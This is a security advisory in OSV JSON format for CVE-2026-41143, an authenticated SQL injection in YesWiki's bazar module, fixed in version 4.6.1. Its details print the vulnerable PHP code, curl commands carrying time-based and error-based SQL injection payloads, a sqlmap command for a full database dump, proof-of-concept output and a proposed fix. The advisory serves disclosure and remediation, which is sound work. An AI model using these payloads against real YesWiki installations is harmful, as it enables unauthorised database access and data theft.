CVE-2026-41143: Yeswiki/yeswiki :formatDataBeforeSave() Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f58v-p6j9-24c2",
  "modified" : "2026-05-08T20:09:58Z",
  "published" : "2026-04-18T01:00:30Z",
  "aliases" : [ "CVE-2026-41143" ],
  "summary" : "YesWiki vulnerable to authenticated SQL Injection via id_fiche in EntryManager::formatDataBeforeSave()",
  "details" : "## Vulnerability Details\n\nYesWiki bazar module contains a SQL injection vulnerability in `tools/bazar/services/EntryManager.php` at line 704. The `$data['id_fiche']` value (sourced from `$_POST['id_fiche']`) is concatenated directly into a raw SQL query without any sanitization or parameterization.\n\n**Vulnerable Code (EntryManager.php:704):**\n```php\n$result = $this->dbService->loadSingle(\n    'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .\n    \"WHERE tag='\" . $data['id_fiche'] . \"'\"\n);\n```\n\n**Attack Path:**\n1. Attacker authenticates as any user (route requires `acl:{\"+\"}`)\n2. POST `/api/entries/{formId}` with `id_fiche=' OR SLEEP(3) OR '`\n3. `ApiController::createEntry()` checks `isEntry($_POST['id_fiche'])` → false (not existing entry) → calls `create()`\n4. `create()` → `formatDataBeforeSave()` → SQL injection at line 704\n\n**`dbService->loadSingle()` passes raw string to `mysqli_query()` with no escaping. The `escape()` method exists but is NOT called here.**\n\n**Docker PoC confirmation:**\n- Normal query: `SELECT MIN(time) as firsttime FROM wiki_pages WHERE tag='TestEntry'` → `2024-01-01 00:00:00`\n- Injected: `WHERE tag='' OR SLEEP(3) OR ''` → **elapsed: 3.00s (SLEEP confirmed)**\n- Time-based blind SQLi enables full database dump via binary search\n\n## Steps to Reproduce\n\n**Prerequisites:** Any authenticated user account on a YesWiki instance with a bazar form (id_typeannonce) created.\n\n**Step 1 – Obtain session cookie** (standard login via web UI or API)\n\n**Step 2 – Time-based blind SQLi (confirm vulnerability):**\n```bash\ncurl -s -X POST 'http://TARGET/?api/entries/1' \\\n  -H 'Cookie: wikini_session=<SESSION>' \\\n  -d \"antispam=1&bf_titre=TestTitle&id_fiche=' OR SLEEP(3) OR '\"\n```\n→ Response delays ~3 seconds confirming SQL injection.\n\n**Step 3 – Error-based SQLi (version exfil):**\n```bash\ncurl -s -X POST 'http://TARGET/?api/entries/1' \\\n  -H 'Cookie: wikini_session=<SESSION>' \\\n  -d \"antispam=1&bf_titre=TestTitle&id_fiche=' AND extractvalue(1,concat(0x7e,@@version))-- -\"\n```\n→ Returns MySQL version in XPATH error: `XPATH syntax error: '~8.4.8'`\n\n**Step 4 – Full dump via sqlmap:**\n```bash\nsqlmap -u 'http://TARGET/?api/entries/1' \\\n  --data \"antispam=1&bf_titre=T&id_fiche=test\" \\\n  -p id_fiche --cookie \"wikini_session=<SESSION>\" \\\n  --dbms=MySQL --technique=BET --level=2\n```\n\n## Docker PoC Output (confirmed)\n```\n[STEP 1] Normal input: Result (2024-01-01 00:00:00)\n[STEP 2] id_fiche=' OR SLEEP(3) OR '  → Elapsed: 3.00s ← SLEEP(3) CONFIRMED\n[STEP 3] id_fiche=' AND extractvalue(1,concat(0x7e,@@version))-- -\n         DB_ERROR: (1105, \"XPATH syntax error: '~8.4.8'\")\n```\n\n## Root Cause\n\nIn `tools/bazar/services/EntryManager.php` line 704:\n```php\n$result = $this->dbService->loadSingle(\n    'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .\n    \"WHERE tag='\" . $data['id_fiche'] . \"'\"\n);\n```\n`$data['id_fiche']` comes from `$_POST['id_fiche']` (user input). `DbService::escape()` exists but is **not called** here. `loadSingle()` passes the raw string directly to `mysqli_query()`.\n\n## Proposed Fix\n\nReplace the vulnerable line with parameterized query or call `$this->dbService->escape()`:\n```php\n$tag = $this->dbService->escape($data['id_fiche']);\n$result = $this->dbService->loadSingle(\n    'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .\n    \"WHERE tag='\" . $tag . \"'\"\n);\n```\n\n## PoC Screenshot\n\n![PoC: SLEEP(3) confirmed + MySQL version exfil](https://raw.githubusercontent.com/n0z0/cve-evidence/main/2026-04/20260401_133905_2bc5340f9be9_yeswiki_sqli_sleep3_confirmed_20260401_133745.png)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "yeswiki/yeswiki"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.6.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.6.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-f58v-p6j9-24c2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41143"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/YesWiki/yeswiki"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/YesWiki/yeswiki/releases/tag/v4.6.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-18T01:00:30Z",
    "nvd_published_at" : "2026-05-07T06:16:04Z"
  }
}